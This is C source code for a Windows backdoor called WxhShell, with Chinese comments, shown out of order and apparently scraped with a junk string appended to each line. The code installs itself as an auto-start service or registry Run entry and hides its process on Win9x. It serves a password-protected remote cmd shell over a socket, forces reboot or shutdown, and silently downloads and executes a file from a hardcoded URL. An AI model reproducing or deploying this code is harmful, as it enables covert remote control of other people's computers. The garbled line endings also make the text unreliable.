    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )9pBu B  
    if(Boot(SHUTDOWN)) Y_shy6" KH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I<N^j=/pO  
    else { H5^Y->  
    closesocket(wsh); & 3I7]Wm  
    ExitThread(0); sRil>6QR  
    } i0&) N,5_  
    break; 6(5c7R#  
    } }` @?X"r  
  // 获取shell ks^|>  
  case 's': { 0- Yeu5A  
    CmdShell(wsh); $pBr &,  
    closesocket(wsh); ^k9rDn/AW  
    ExitThread(0); K-Y* T}?  
    break; $U mE  
  } h=wf>^l  
  // 退出 1'OD3~[R  
  case 'x': { 7#/|VQX<A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oylp:_<aT  
    CloseIt(wsh); 0kz7 >v  
    break; H.;yLL=  
    } `w(sXkeaI  
  // 离开 kBUufV~  
  case 'q': { `i{4cT8:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <W9) Bq4  
    closesocket(wsh); 6g5]=Q@U:  
    WSACleanup(); *kV#)j  
    exit(1); !%)L&W_  
    break; ]LY^9eK)>{  
        } YmA) @1@U  
  } zXDd,ltm  
  } [@s=J)H  
)da:&F -  
  // 提示信息 t)`+d=P   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =z']s4  
} i!ds{`d  
  } FRD<0o/`  
fzOMX z  
  return; *@=fq|6l 2  
} A<1l^%i  
FL~9</  
// shell模块句柄 !}C4{Bgt*  
int CmdShell(SOCKET sock) gtl;P_  
{ f>b!-|  
STARTUPINFO si; 5]Z]j[8Y  
ZeroMemory(&si,sizeof(si)); 7a27^b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k.h^ $f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xd5! Ti}  
PROCESS_INFORMATION ProcessInfo; &?fvt  
char cmdline[]="cmd"; c[6zX#{`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lP-kZA!  
  return 0; orK+B4  
} SSo~.)J  
xBt4~q;#sE  
// 自身启动模式 xg4T` ])  
int StartFromService(void) }$&);7(w  
{ [cY?!Qd 0  
typedef struct T\.7f~3  
{ " Tw0a!  
  DWORD ExitStatus; e*6U |+kJ  
  DWORD PebBaseAddress; +KYxw^k}"7  
  DWORD AffinityMask; Udg & eEF  
  DWORD BasePriority; /6A:J]Q_  
  ULONG UniqueProcessId; `mWQWx$V!  
  ULONG InheritedFromUniqueProcessId; o7hH9iY  
}   PROCESS_BASIC_INFORMATION; >zN" z)  
6qY\7R2+  
PROCNTQSIP NtQueryInformationProcess; X~`.}  
ktdz@f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T;xHIg4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @DUN;L 4  
]Sk#a-^~  
  HANDLE             hProcess; o x03c   
  PROCESS_BASIC_INFORMATION pbi; [+Yl;3 &]  
p,!fIx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `,hW;p>-  
  if(NULL == hInst ) return 0; 5>0\e_V  
0]/,m4a#n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5? S{W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :4Id7Ce  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _wIBm2UO  
&*LA_]1@  
  if (!NtQueryInformationProcess) return 0; d8VWi*  
YY1{v?[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [w+yQ7P  
  if(!hProcess) return 0; n$}R/*  
I 0x`H)DA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \a9D[wk;@  
OcyiL)tv5  
  CloseHandle(hProcess); cWX"e6  
1D 3 dYVE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .eZPp~[lAN  
if(hProcess==NULL) return 0; d "QM;9  
2D\x-!l/  
HMODULE hMod; 'Y~8_+J?  
char procName[255]; JMl ,  N  
unsigned long cbNeeded; %5( EkP  
.Bm^3A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #VP-T; Ahe  
8ItCfbqa6  
  CloseHandle(hProcess); ?[a7l:3-[  
|>jqH @\P  
if(strstr(procName,"services")) return 1; // 以服务启动 )Gu0i7iN  
'b?#4rq}  
  return 0; // 注册表启动 c %6 @ z  
} 1( QWt  
E.En$'BvB  
// 主模块 Q 37V!  
int StartWxhshell(LPSTR lpCmdLine) ySPlyhGF  
{ zyQ,unu  
  SOCKET wsl; zz+M1n-;o  
BOOL val=TRUE; 4w?]dDyc%  
  int port=0; @ ~0G$  
  struct sockaddr_in door; T<9dW?'|  
$; KQY7  
  if(wscfg.ws_autoins) Install(); ;%3thm7+  
9!Q $GE?vl  
port=atoi(lpCmdLine); wh7i G8jCz  
YFC0KU  
if(port<=0) port=wscfg.ws_port; ] k3GFPw  
6KZ8 .m}:  
  WSADATA data; `W.vW8 !#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; { c6DT  
troy^H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >qh>Qm8w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [1Qk cR  
  door.sin_family = AF_INET; "`8H:y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CIxVR  
  door.sin_port = htons(port); TV[6+i*#  
tXb7~aO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `gBXeG2fn  
closesocket(wsl); a3(7{,Ew  
return 1; "`V"2zZlj  
} Occ8Hk/l.  
Aspj*CDu  
  if(listen(wsl,2) == INVALID_SOCKET) { 0|wKR|zW  
closesocket(wsl); 8)ebXc  
return 1; af`f*{Co3  
} 0qotC6l~_w  
  Wxhshell(wsl); _ z"ci$[  
  WSACleanup();  5K_N  
w;h\Y+Myyk  
return 0; p8}5x 2F  
f;_K}23  
} H*:r>Lm=  
I1}{~@  
// 以NT服务方式启动 EFT02#F_f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CoKj'jA  
{ B[U.CAUn  
DWORD   status = 0; ? A^3.`  
  DWORD   specificError = 0xfffffff; ?@,f[U-  
JE8p5WaR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^|:{,d#Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 04T*\G^:=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C6;](rN)N  
  serviceStatus.dwWin32ExitCode     = 0; LYxlo<f  
  serviceStatus.dwServiceSpecificExitCode = 0; $'I$n  
  serviceStatus.dwCheckPoint       = 0; 41f m}  
  serviceStatus.dwWaitHint       = 0; (VF4FC  
V+"*A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GQ8D j!8  
  if (hServiceStatusHandle==0) return; H(*=9  
Pc\4 QvQ8  
status = GetLastError(); _ UVX  
  if (status!=NO_ERROR) sLpCWIy  
{ U K]{]-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v#YS`];B  
    serviceStatus.dwCheckPoint       = 0; vSHIl"h  
    serviceStatus.dwWaitHint       = 0; "n2xn%t{  
    serviceStatus.dwWin32ExitCode     = status; ?#{2?%_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0o^#Fmuz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WriJco<v  
    return; N6m*xxI{  
  } ( _F  
lDX&v$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {0Ol/N;|D  
  serviceStatus.dwCheckPoint       = 0; ~%!U,)-  
  serviceStatus.dwWaitHint       = 0; GXv o't@N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f'?6D+Yw~  
} 9 %.<V_$  
yZPFo  
// 处理NT服务事件,比如:启动、停止 %>*0.)wG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6@_@nlA<1  
{ 0g*r!aa  
switch(fdwControl) 5l7L@Ey  
{ LZAj4|~,m  
case SERVICE_CONTROL_STOP: vM>`CZ  
  serviceStatus.dwWin32ExitCode = 0; ~D-OL* 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xYkgNXGs5  
  serviceStatus.dwCheckPoint   = 0; @x>$_:]  
  serviceStatus.dwWaitHint     = 0; S5[RSAbf*t  
  { k;Ny%%5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0f}Q~d=QL  
  } i!+3uHWu`)  
  return; FOnA;5Aa  
case SERVICE_CONTROL_PAUSE: 2KNKdV3NK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HBf8!\0|/  
  break; }SvWC8  
case SERVICE_CONTROL_CONTINUE: OTjryJ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :\= NH0M  
  break; QIz N# ;g  
case SERVICE_CONTROL_INTERROGATE: (R|FQdH  
  break; CFrHNU  
}; 3,cE/Ei  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u B%^2{uU  
} c+K=pp@  
vgbjvyfN  
// 标准应用程序主函数 UFY~D"% /  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZK_@.O+]  
{ ~esEql=Q3'  
+AC-f2  
// 获取操作系统版本 v]Q_  
OsIsNt=GetOsVer(); (,9cCnvmYU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k)GuMw  
|>fS"u  
  // 从命令行安装 1?#p !;&  
  if(strpbrk(lpCmdLine,"iI")) Install(); z?> y  
M,! no  
  // 下载执行文件 vz_g2.7l\  
if(wscfg.ws_downexe) { W%<]_u[-}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0-; P&m!!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3f.Gog  
} byxehJ6[V  
9 8BBsjkd  
if(!OsIsNt) { # yRA. ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 G?1V~6  
HideProc(); d`][1rZk  
StartWxhshell(lpCmdLine); NF.6(PG|  
} V +<AG*[  
else nXaX=  
  if(StartFromService()) }Z$G=;3#  
  // 以服务方式启动 v2X0Px_  
  StartServiceCtrlDispatcher(DispatchTable); jO N}&/  
else _*B~ESC0  
  // 普通方式启动 ysn[-l#  
  StartWxhshell(lpCmdLine); yNf=Kl  
nKJ7K8)  
return 0; kITmo"$K  
} ITY!=>S-  
Hh=::Bi  
~W2&z]xD  
>{) #|pWU  
=========================================== _N#3lU?  
8GRr f2  
Uht:wEr  
]~ eWr2uG?  
GYmBxX87  
}uj'BO2?  
" f<:SdtG5  
w*kFtNBfU  
#include <stdio.h> h_"/@6  
#include <string.h> G9":z|  
#include <windows.h> f]65iE?x  
#include <winsock2.h> ewPdhCK  
#include <winsvc.h> Bo(l!G  
#include <urlmon.h> BU{ V,|10a  
.wn_e=lT  
#pragma comment (lib, "Ws2_32.lib") tpzdYokh >  
#pragma comment (lib, "urlmon.lib") RKb3=} *C  
m)2hl~o_  
#define MAX_USER   100 // 最大客户端连接数 (G!J==  
#define BUF_SOCK   200 // sock buffer q x }fn/:  
#define KEY_BUFF   255 // 输入 buffer -"fq34v  
o5@P>\ u>  
#define REBOOT     0   // 重启 5kZ yiC*  
#define SHUTDOWN   1   // 关机 fx"+ZR  
Z`KXXlJ^i  
#define DEF_PORT   5000 // 监听端口 r>@/XYK&\  
7%}}m&A7h  
#define REG_LEN     16   // 注册表键长度 HCy}'}d  
#define SVC_LEN     80   // NT服务名长度 5Cka."bQ  
UimZ/\r  
// 从dll定义API 9+|,aG s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y+x>{!pw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V]cY+4Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {oeQK   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n=MYv(Pp}  
)BrqE uX@"  
// wxhshell配置信息 nQVBHL>  
struct WSCFG { /Loe y   
  int ws_port;         // 监听端口 @= 9y5r  
  char ws_passstr[REG_LEN]; // 口令 EmoU7iy  
  int ws_autoins;       // 安装标记, 1=yes 0=no ->{WO+6(  
  char ws_regname[REG_LEN]; // 注册表键名 IsL/p3|  
  char ws_svcname[REG_LEN]; // 服务名 >p:fWQ6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oABPGyv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0P >dXd)T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yln.E vJjD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g5\B-3{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AtYYu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y>~zt -  
O, 6!`\ND  
}; OaWq8MIZ-  
l!'iLq"K(  
// default Wxhshell configuration )j*qGsOg  
struct WSCFG wscfg={DEF_PORT, :UciFIa  
    "xuhuanlingzhe", ["/x~\c'N  
    1, ,FO|'l  
    "Wxhshell", "G(/MT^C  
    "Wxhshell", =LzW#s=O  
            "WxhShell Service", __npX_4%S  
    "Wrsky Windows CmdShell Service", #O ]IXo(5z  
    "Please Input Your Password: ", aoX$,~oI5  
  1, 4!|ar?Zy  
  "http://www.wrsky.com/wxhshell.exe", @SXgaWr  
  "Wxhshell.exe" ^Y |s^N  
    }; =c 4U%d2  
@]4s&;  
// 消息定义模块 xn[di-L F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HPB1d!^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )YnN9"8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mYX) =B{  
char *msg_ws_ext="\n\rExit."; $Yc9><i  
char *msg_ws_end="\n\rQuit."; ^f]pK&MAmN  
char *msg_ws_boot="\n\rReboot..."; WLb7]rCTp  
char *msg_ws_poff="\n\rShutdown..."; u>#'Y+7  
char *msg_ws_down="\n\rSave to "; N"y4#W(Z@  
`-m7CT sA  
char *msg_ws_err="\n\rErr!"; 2Mp;/b!  
char *msg_ws_ok="\n\rOK!"; =G6@:h=  
|7'W)s5.  
char ExeFile[MAX_PATH]; GK+w1%6)  
int nUser = 0; y0]O 6.{  
HANDLE handles[MAX_USER]; sqRuqUj+  
int OsIsNt; G= e[TR)i  
:8 :>CHa  
SERVICE_STATUS       serviceStatus; RPwSo.c4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cv33?l-8%_  
*^()el,d  
// 函数声明 4+"SG@i`W  
int Install(void); $la,_Sr  
int Uninstall(void); Y.J$f<[R  
int DownloadFile(char *sURL, SOCKET wsh); ~~mQ  
int Boot(int flag); C? S%fF  
void HideProc(void); *1Q?~  
int GetOsVer(void); GYO"1PM  
int Wxhshell(SOCKET wsl); 9:s!#FYFM  
void TalkWithClient(void *cs); ;{RQ+ZX'[  
int CmdShell(SOCKET sock); db|$7]!w  
int StartFromService(void); IZLX[y  
int StartWxhshell(LPSTR lpCmdLine); O8%/Id  
KW\`&ki  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \)*qW[C$a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pz+#1=b]  
?*=Jq  
// 数据结构和表定义 tTal<4  
SERVICE_TABLE_ENTRY DispatchTable[] = uDR(^T{g#  
{ X,~C&#  
{wscfg.ws_svcname, NTServiceMain}, Xo b##{P3  
{NULL, NULL} _nUuiB>  
}; ,*US) &x  
Y!zlte|P  
// 自我安装 62) F  
int Install(void) !v=ha%w{  
{ PR0]:t)E  
  char svExeFile[MAX_PATH]; sKtH4d5)  
  HKEY key; }<p%PyM  
  strcpy(svExeFile,ExeFile); ="4)!  
L 'y+^L|X  
// 如果是win9x系统,修改注册表设为自启动 %o>1$f]  
if(!OsIsNt) { q_bB/   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E),T,   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `fXcW)  
  RegCloseKey(key); rE 8-MB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rd/!CJ@g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lCXo+|$?s  
  RegCloseKey(key); 3c)xNXq m  
  return 0; 2\ n6XAQ*  
    } qW*)]s)z  
  } G8VWx&RE  
} !WN r09`  
else { }tN"C 3)@  
Zr3KzY9  
// 如果是NT以上系统,安装为系统服务 Ex<0@Oz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sy;~(rpg  
if (schSCManager!=0) f`cO5lP/:)  
{ qmhHHFjQ  
  SC_HANDLE schService = CreateService Em;zi.Y+V  
  ( .3#Tw'% G  
  schSCManager, iM-@?!WF  
  wscfg.ws_svcname, /OEj]DNY  
  wscfg.ws_svcdisp, 4?`7XJ0a  
  SERVICE_ALL_ACCESS, X(~NpLR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /KkUCq2A  
  SERVICE_AUTO_START, A#}IbcZ|b  
  SERVICE_ERROR_NORMAL, 'a}pWkLB  
  svExeFile, 8Pq|jK "  
  NULL, 5K0Isuu>>  
  NULL, \O56!,k  
  NULL, 9496ayi  
  NULL, eG.?s ;J0  
  NULL pV_2JXM~@  
  ); *5^h>Vk/  
  if (schService!=0) :0/I2:  
  { ~~&M&Fe  
  CloseServiceHandle(schService); k 2~j:&p  
  CloseServiceHandle(schSCManager); -O\`G<s%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c(:GsoO  
  strcat(svExeFile,wscfg.ws_svcname); d4/ZOj+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #-{4F?DA]y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b$hQB090  
  RegCloseKey(key); tlE+G@|^  
  return 0; !"Kg b;A  
    } V<b"jCXI  
  } >5\rU[H>  
  CloseServiceHandle(schSCManager); j:g/[_0s  
} "Mth<%i  
} ffdyDUzQ  
z' @F@k6  
return 1; |#k1a:  
} HghNI  
{=TD^>?  
// 自我卸载 vb# d%1b5  
int Uninstall(void) _95V"h  
{ /IODRso/!  
  HKEY key; ^XV$J-  
J^U#dYd  
if(!OsIsNt) { *g7dB2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > >p3#~/  
  RegDeleteValue(key,wscfg.ws_regname); tcfUhSz,I  
  RegCloseKey(key); Y>r9"X| &H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IYd)Vv3'j  
  RegDeleteValue(key,wscfg.ws_regname); fN@2 B  
  RegCloseKey(key); ydw')Em  
  return 0; {$b]K-B  
  } e(sQgtM6  
} oE}1D?3Sp  
} E}UlQq  
else { H13|bM<  
 QHOem=B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C;_10Rb2ut  
if (schSCManager!=0) -rUn4a  
{ 7tJPjp4l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^J?I-LG  
  if (schService!=0) bUt?VR}P(  
  { DJhi>!xJ  
  if(DeleteService(schService)!=0) { $Ad 5hkz  
  CloseServiceHandle(schService); 3eD#[jkAI;  
  CloseServiceHandle(schSCManager); uk16  
  return 0; HKV]Rn  
  } n>{ >3?  
  CloseServiceHandle(schService); C,.$g>)MZK  
  } {2A/@$?  
  CloseServiceHandle(schSCManager); K_(o D O  
} y8VLFe;  
} "YM)bc  
lIz"mk  
return 1; IZ "d s=w  
} vn7<>k> dx  
>O?5mfMK  
// 从指定url下载文件 ex1bjM7  
int DownloadFile(char *sURL, SOCKET wsh) |\J8:b> }  
{ w`q):yXX  
  HRESULT hr; wjDLsf,  
char seps[]= "/"; f3h^R20qmO  
char *token; 5#~u U  
char *file; a~=$9+?w  
char myURL[MAX_PATH]; 4 @ )|N'  
char myFILE[MAX_PATH]; 4gzrxV  
j'g':U  
strcpy(myURL,sURL); > -OQk"o  
  token=strtok(myURL,seps); #}3$n/  
  while(token!=NULL) WbB0{s  
  { 1jO}{U  
    file=token; pbt/i+!  
  token=strtok(NULL,seps); L'M'I0"/  
  } $5Jo %K%  
L> > %  
GetCurrentDirectory(MAX_PATH,myFILE); >8\EdN59{  
strcat(myFILE, "\\"); uDbz`VpK  
strcat(myFILE, file); 9v=5x[fE  
  send(wsh,myFILE,strlen(myFILE),0); hKj"Lb9 ]  
send(wsh,"...",3,0); Tapj7/0`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %3!DRz  
  if(hr==S_OK) g4^=Q'j-  
return 0; 4*&_h g)h  
else '#L.w6<B  
return 1; \L Gj]mb1  
MIGcV9hf  
} Lj`MFZ  
6SJ  
// 系统电源模块 H:TRJ.!w2  
int Boot(int flag) ju~js  
{ Sxa+"0d6  
  HANDLE hToken; \4zb9CxOZ  
  TOKEN_PRIVILEGES tkp; O0[.*xG  
5srj|'ja  
  if(OsIsNt) {  #-r,;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  74i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }}y~\TB~}  
    tkp.PrivilegeCount = 1; ~`~mnlN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )%FRBO]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C7:;<<"P  
if(flag==REBOOT) { e:#c\Ay+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZUPlMHc  
  return 0; .93B@u  
} 2j*;1  
else { d[eN#<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EFSln*|  
  return 0; *uoc;6  
} OiAP%7i9  
  } *c9/ I  
  else { ruiAEC<Ej  
if(flag==REBOOT) { pu3ly&T#a_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :!Ea.v  
  return 0; 5'*v-l,[  
} 4'9yMXR  
else { K)=<hL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M*6}#ST  
  return 0; ;iEr+  
} "-bsWC  
} 4AA3D!$  
KVQ|l,E, /  
return 1; XpS].P9  
} !} ~K'1"  
[ed6n@/O@  
// win9x进程隐藏模块 %+0 7>/  
void HideProc(void) (nL''#Ka  
{ @'XxMO[Z!<  
~ A?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w&VMb&<  
  if ( hKernel != NULL ) cVk&Yp;[*  
  { nZ7FG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H & L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AXBf\ )[  
    FreeLibrary(hKernel); iY_E"$}P  
  } q3Tp /M.  
I#?NxP\S  
return; u^5X@ .  
} 98"/]ERJ  
iPoh2  
// 获取操作系统版本 n^kszIu~  
int GetOsVer(void) N!RkV\:X  
{ U5_1-wV  
  OSVERSIONINFO winfo; eksYIQZ]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !LDuCz -  
  GetVersionEx(&winfo); tw{V7r~n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WJ D1U?`  
  return 1; \r4QS  
  else {tqLH2cO  
  return 0; 'Ll,HgU;  
} #*r u*  
L&*/ s&>b  
// 客户端句柄模块 sA!,)'6  
int Wxhshell(SOCKET wsl) >M1m(u84#  
{ @!;EW R]  
  SOCKET wsh; 0C3s  
  struct sockaddr_in client; B-EVo&.  
  DWORD myID; b d!|/Lk  
0qND2_  
  while(nUser<MAX_USER) k#*tf:R  
{ >'\cNM~nf  
  int nSize=sizeof(client); mI;#Zq_j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X0IXj%\N  
  if(wsh==INVALID_SOCKET) return 1; ?<7o\Xk#{  
KB3zQJY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0H<&*U_V  
if(handles[nUser]==0) qQz f&"  
  closesocket(wsh); "otks\I<  
else gA`x-`  
  nUser++; N^u,C$zP9C  
  } dM|&Y6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7*D*nY4+  
MJxTzQE  
  return 0; *cNqgw#\qL  
} *C>B-j$  
b ] W^_  
// 关闭 socket <X5'uve  
void CloseIt(SOCKET wsh)  3)5Gzn  
{ 6L`{oSX!  
closesocket(wsh); Q $wa<`  
nUser--; _!m_s5{  
ExitThread(0); N9lCbtn(0x  
} OB-2xmZW  
N001c)*7Q  
// 客户端请求句柄 IO, kGUS  
void TalkWithClient(void *cs) i Eh -  
{ aqa%B  
T!GX^nn*O  
  SOCKET wsh=(SOCKET)cs; Z33&FUU  
  char pwd[SVC_LEN]; 7.G1Q]6/  
  char cmd[KEY_BUFF]; 5)%bnLxn  
char chr[1]; GoVB1)  
int i,j; G'*_7HD  
WGxe3(d  
  while (nUser < MAX_USER) { [8T  
fa~u<m   
if(wscfg.ws_passstr) { d~ lB4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BC/oh+FW3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b7X-mkF  
  //ZeroMemory(pwd,KEY_BUFF); YJioR4+q  
      i=0; *""JE'wG  
  while(i<SVC_LEN) { \M@9#bd  
K]0Q=HY{.  
  // 设置超时 Y+ZQN>  
  fd_set FdRead;  p^=>N9  
  struct timeval TimeOut; n9qO;X4&  
  FD_ZERO(&FdRead); cy R K&J  
  FD_SET(wsh,&FdRead); 5P?7xRA  
  TimeOut.tv_sec=8; ]klP.&I/0  
  TimeOut.tv_usec=0; uU&,KEH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vXdz?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I(i/|S&^  
i{['18Q$F3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OK=lp4X  
  pwd=chr[0]; 8XwZJ\5  
  if(chr[0]==0xd || chr[0]==0xa) { "X\|!Mxh  
  pwd=0; =N _7DT  
  break; P|rsq|',  
  } Afpj*o  
  i++; $Vu %4kq  
    } 1KH]l336D"  
RC[b+J,q  
  // 如果是非法用户,关闭 socket OHz>B!`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SAuZWA4g[  
} 76Drhh(  
tb%u<jY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uxbDRlOS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*~=w J_  
Jd].e=]pN  
while(1) { kG =nDy  
-uho;  
  ZeroMemory(cmd,KEY_BUFF); OokBi 02b  
w|~d3]BqT  
      // 自动支持客户端 telnet标准   a6UW,n"n  
  j=0; s_`PPl_D$K  
  while(j<KEY_BUFF) { mLa0BIP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &e#>%0aS  
  cmd[j]=chr[0]; <NIg`B@'s  
  if(chr[0]==0xa || chr[0]==0xd) { NPN*k].  
  cmd[j]=0; o6H\JCne  
  break; c5>'1L  
  } iSm5k:7  
  j++; F vJJpPS  
    } $!+t2P@d.5  
Fv[. %tW  
  // 下载文件 qDOJ;> I  
  if(strstr(cmd,"http://")) { 2u0dn?9\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C'iJFf gR  
  if(DownloadFile(cmd,wsh)) (9;qV:0`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gi<ik~  
  else 6 (:^>@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X >i`z  
  } ##%R|P3  
  else { 1[QH68  
$VX<UK$|s  
    switch(cmd[0]) { P #_8$#G3  
  B3p[A k  
  // 帮助 j Hd <*  
  case '?': { %h "+J  
